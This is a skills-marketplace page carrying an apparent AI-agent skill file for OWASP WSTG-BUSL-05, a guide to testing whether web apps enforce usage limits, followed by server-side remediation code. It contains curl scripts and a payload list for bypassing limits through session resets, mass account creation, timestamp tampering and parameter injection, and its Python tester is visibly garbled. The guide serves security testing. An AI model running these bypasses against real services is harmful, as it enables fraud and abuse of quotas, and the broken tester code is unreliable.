用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-busl-05命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-busl-05 |
| description | Test Number of Times a Function Can Be Used Limits |
| category | business-logic |
| owasp_id | WSTG-BUSL-05 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["business-logic","workflow","abuse","wstg","busl"] |
| tech_stack | [] |
| cwe_ids | ["CWE-840"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-BUSL-05
Test Number of Times a Function Can Be Used Limits
Function usage limit testing examines whether an application properly enforces restrictions on how many times a user can perform specific actions. These limits protect against abuse, fraud, and resource exhaustion. Attackers may attempt to bypass these controls to gain unfair advantages, such as unlimited free trials, multiple coupon redemptions, or exceeding transaction limits.
| Technique | Description |
|---|---|
| Session manipulation | New session resets counter |
| Account switching | Multiple accounts |
| Parameter tampering | Modify limit parameters |
| Time manipulation | Change timestamps |
| Race conditions | Parallel requests |
# Document limits from application behavior/documentation
# Examples:
# - 3 password reset attempts per hour
# - 5 free downloads per day
# - 10 API calls per minute
# - 1 coupon per account
# - $1000 daily transfer limit
# Test to discover undocumented limits
for i in {1..50}; do
response=$(curl -s -X POST "https://target.com/api/download/free" \
-H "Authorization: Bearer $TOKEN" \
-w "\n%{http_code}")
echo "Attempt $i: $response"
done
#!/bin/bash
# Test if limits are actually enforced
LIMIT=5
ENDPOINT="https://target.com/api/action"
TOKEN="your_token"
echo "Testing limit enforcement..."
for i in $(seq 1 $((LIMIT + 5))); do
response=$(curl -s -X POST "$ENDPOINT" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"action": "test"}' \
-w "\nSTATUS:%{http_code}")
status=$(echo "$response" | grep "STATUS:" | cut -d: -f2)
if [ "$i" -le "$LIMIT" ]; then
if [ "$status" != "200" ]; then
echo "Attempt $i: UNEXPECTED FAILURE (expected success)"
else
echo "Attempt $i: SUCCESS (as expected)"
fi
else
if [ "$status" == "200" ]; then
echo "Attempt $i: [VULNERABILITY] Success beyond limit!"
# Get new session and test if limit resets
# First, exhaust limit with current session
for i in {1..10}; do
curl -s -X POST "https://target.com/api/action" \
-H "Cookie: session=$SESSION1" > /dev/null
done
# Get new session
NEW_SESSION=$(curl -s -c - "https://target.com/login" \
-d "user=$USER&pass=$PASS" | grep session | awk '{print $7}')
# Try with new session
response=$(curl -s -X POST "https://target.com/api/action" \
-H "Cookie: session=$NEW_SESSION")
echo "After new session: $response"
# If success, limits are per-session not per-user
#!/bin/bash
# Test if creating multiple accounts bypasses limits
# Limit: 3 free downloads per account
# Attack: Create multiple accounts
for account in {1..5}; do
# Create new account
curl -s -X POST "https://target.com/api/register" \
-H "Content-Type: application/json" \
-d "{
\"username\": \"testuser$account\",
\"email\": \"test$account@temp-mail.com\",
\"password\": \"Password123!\"
}"
# Get token
token=$(curl -s -X POST "https://target.com/api/login" \
-H "Content-Type: application/json" \
-d "{
\"email\": \"test$account@temp-mail.com\",
\"password\": \"Password123!\"
}" | jq -r '.token')
# Use free downloads
for download in {1..3}; do
curl -s -X GET "https://target.com/api/download/free" \
-H "Authorization: Bearer $token" > /dev/null
echo "Account $account, Download $download: Done"
done
done
# Test if limits reset at specific times
# First, exhaust daily limit
for i in {1..10}; do
curl -s -X POST "https://target.com/api/action" \
-H "Authorization: Bearer $TOKEN" > /dev/null
done
# Check if sending future timestamp bypasses
curl -s -X POST "https://target.com/api/action" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"timestamp": "2025-12-31T00:00:00Z"}'
# Test with modified Date header
curl -s -X POST "https://target.com/api/action" \
-H "Authorization: Bearer $TOKEN" \
-H "Date: Mon, 31 Dec 2025 00:00:00 GMT"
# Try modifying limit-related parameters
# If limit info is in response/request
curl -s -X POST "https://target.com/api/action" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"action": "download",
"remaining_limit": 999,
"is_premium": true
}'
# Hidden parameter injection
curl -s -X POST "https://target.com/api/action" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"action": "download",
"bypass_limit": true,
"unlimited": true
}'
# Find if there's a way to reset limits
# Check for reset endpoint
curl -s -X POST "https://target.com/api/reset-limits" \
-H "Authorization: Bearer $TOKEN"
# Check profile update
curl -s -X PUT "https://target.com/api/user/profile" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"usage_count": 0}'
# Check if deleting and recreating something resets limit
curl -s -X DELETE "https://target.com/api/subscription" \
-H "Authorization: Bearer $TOKEN"
curl -s -X POST "https://target.com/api/subscription/trial" \
-H "Authorization: Bearer $TOKEN"
| Tool | Description | Usage |
|---|---|---|
| Burp Intruder | Automated limit testing | Iterate until blocked |
| Custom scripts | Limit bypass testing | Python/Bash automation |
| Postman | API testing | Collection runners |
| Tool | Description |
|---|---|
| Burp Logger | Track all requests |
| Excel/Sheets | Analyze patterns |
// Premium status bypass
{"is_premium": true}
{"account_type": "enterprise"}
{"subscription": "unlimited"}
// Limit manipulation
{"remaining_downloads": 999}
{"usage_count": 0}
{"limit_reset": true}
// Timestamp manipulation
{"timestamp": "2099-01-01T00:00:00Z"}
{"created_at": "2020-01-01T00:00:00Z"}
#!/usr/bin/env python3
import requests
import time
import json
class LimitTester:
def __init__(self, base_url, token):
self.base_url = base_url
self.headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
self.results = []
def test_hard_limit(self, endpoint, expected_limit, payload=None):
"""Test if hard limit is enforced"""
if payload is None:
payload = {}
successes = 0
for i in range(expected_limit + 10):
response = requests.post(
f"{self.base_url}{endpoint}",
headers=self.headers,
json=payload
)
if response.status_code == 200:
successes += 1
else:
break
result = {
"endpoint": endpoint,
"expected_limit": expected_limit,
"actual_successes": successes,
"enforced": successes <= expected_limit,
"vulnerable": successes > expected_limit
}
.results.append(result)
result
():
_ ():
requests.post(
,
headers=.headers
)
login_response = requests.post(
,
json=credentials
)
new_token = login_response.json().get()
new_headers = {**.headers, : }
response = requests.post(
,
headers=new_headers
)
result = {
: ,
: response.status_code == ,
: response.status_code ==
}
.results.append(result)
result
():
_ ():
requests.post(
,
headers=.headers,
json={}
)
vulnerabilities = []
param bypass_params:
response = requests.post(
,
headers=.headers,
json=param
)
response.status_code == :
vulnerabilities.append({
: param,
: response.status_code
})
result = {
: ,
: (vulnerabilities) > ,
: vulnerabilities
}
.results.append(result)
result
():
()
vulnerable_count = ( r .results r.get())
()
()
()
result .results:
status = result.get()
()
result.get():
key, value result.items():
key [, , ]:
()
tester = LimitTester(, )
tester.test_hard_limit(, expected_limit=)
tester.test_hard_limit(, expected_limit=)
tester.test_hard_limit(, expected_limit=)
tester.test_parameter_bypass(, [
{: },
{: },
{: }
])
tester.generate_report()
from datetime import datetime, timedelta
from functools import wraps
class UsageLimiter:
def __init__(self, redis_client):
self.redis = redis_client
def check_limit(self, user_id, action, limit, period_seconds):
"""Check if user is within usage limit"""
key = f"limit:{user_id}:{action}"
current = self.redis.get(key)
if current is None:
self.redis.setex(key, period_seconds, 1)
return True, limit - 1
current = int(current)
if current >= limit:
ttl = self.redis.ttl(key)
return False, 0 # Limit reached
self.redis.incr(key)
return True, limit - current - 1
def rate_limit(action, limit, period_seconds):
"""Decorator for rate limiting"""
def decorator(f):
@wraps(f)
def ():
user_id = get_current_user_id()
allowed, remaining = limiter.check_limit(
user_id, action, limit, period_seconds
)
allowed:
jsonify({
: ,
: period_seconds
}),
response = f(*args, **kwargs)
response.headers[] = (limit)
response.headers[] = (remaining)
response
wrapped
decorator
():
download_file()
from sqlalchemy import Column, Integer, DateTime, func
from datetime import datetime, timedelta
class UsageTracking(Base):
__tablename__ = 'usage_tracking'
id = Column(Integer, primary_key=True)
user_id = Column(Integer, ForeignKey('users.id'))
action = Column(String(50))
count = Column(Integer, default=0)
period_start = Column(DateTime)
def check_and_increment(user_id, action, limit, period_hours=24):
"""Atomically check and increment usage"""
period_start = datetime.utcnow() - timedelta(hours=period_hours)
# Use database-level locking
with Session(engine) as session:
tracking = session.query(UsageTracking).filter(
UsageTracking.user_id == user_id,
UsageTracking.action == action,
UsageTracking.period_start >= period_start
).with_for_update().first()
if tracking is None:
# First use in this period
tracking = UsageTracking(
user_id=user_id,
action=action,
count=1,
period_start=datetime.utcnow()
)
session.add(tracking)
session.commit()
return True
if tracking.count >= limit:
return False
tracking.count += 1
session.commit()
return True
import hashlib
def get_device_fingerprint(request):
"""Generate device fingerprint for abuse detection"""
components = [
request.headers.get('User-Agent', ''),
request.headers.get('Accept-Language', ''),
request.remote_addr,
# Add more fingerprinting components
]
return hashlib.sha256(''.join(components).encode()).hexdigest()
def check_abuse_patterns(user_id, fingerprint):
"""Check for abuse patterns"""
# Check if same fingerprint used by multiple accounts
accounts_with_fingerprint = get_accounts_by_fingerprint(fingerprint)
if len(accounts_with_fingerprint) > 3:
flag_for_review(user_id, "Multiple accounts from same device")
return True
# Check for rapid account creation
recent_accounts = get_accounts_created_recently(fingerprint, hours=24)
if len(recent_accounts) > 2:
flag_for_review(user_id, "Rapid account creation")
return True
return False
class TieredLimiter:
TIERS = {
'free': {
'downloads': 5,
'api_calls': 100,
'transfers': 3
},
'basic': {
'downloads': 50,
'api_calls': 1000,
'transfers': 20
},
'premium': {
'downloads': 500,
'api_calls': 10000,
'transfers': 100
}
}
def get_limit(self, user, action):
"""Get limit based on user tier - from database, not request"""
# IMPORTANT: Get tier from database, not from request
tier = self.get_user_tier_from_db(user.id)
return self.TIERS.get(tier, self.TIERS['free']).get(action, 0)
def get_user_tier_from_db(self, user_id):
"""Always fetch tier from database"""
user = User.query.get(user_id)
return user.subscription_tier if user else 'free'
| Finding | CVSS | Severity |
|---|---|---|
| Financial transaction limit bypass | 9.8 | Critical |
| Unlimited free trial abuse | 6.5 | Medium |
| Download quota bypass | 5.3 | Medium |
| API rate limit bypass | 5.3 | Medium |
| Vote/rating manipulation | 4.3 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-770 | Allocation of Resources Without Limits | Missing usage limits |
| CWE-799 | Improper Control of Interaction Frequency | Rate limit bypass |
| CWE-841 | Improper Enforcement of Behavioral Workflow | Workflow bypass |
[ ] Function usage limits identified
[ ] Hard limit enforcement tested
[ ] Session-based reset bypass tested
[ ] Account-based bypass tested
[ ] Time manipulation tested
[ ] Parameter tampering tested
[ ] Race condition bypass tested
[ ] Limit reset mechanisms tested
[ ] Multi-account abuse tested
[ ] Client-side vs server-side enforcement verified
[ ] Findings documented
[ ] Remediation recommendations provided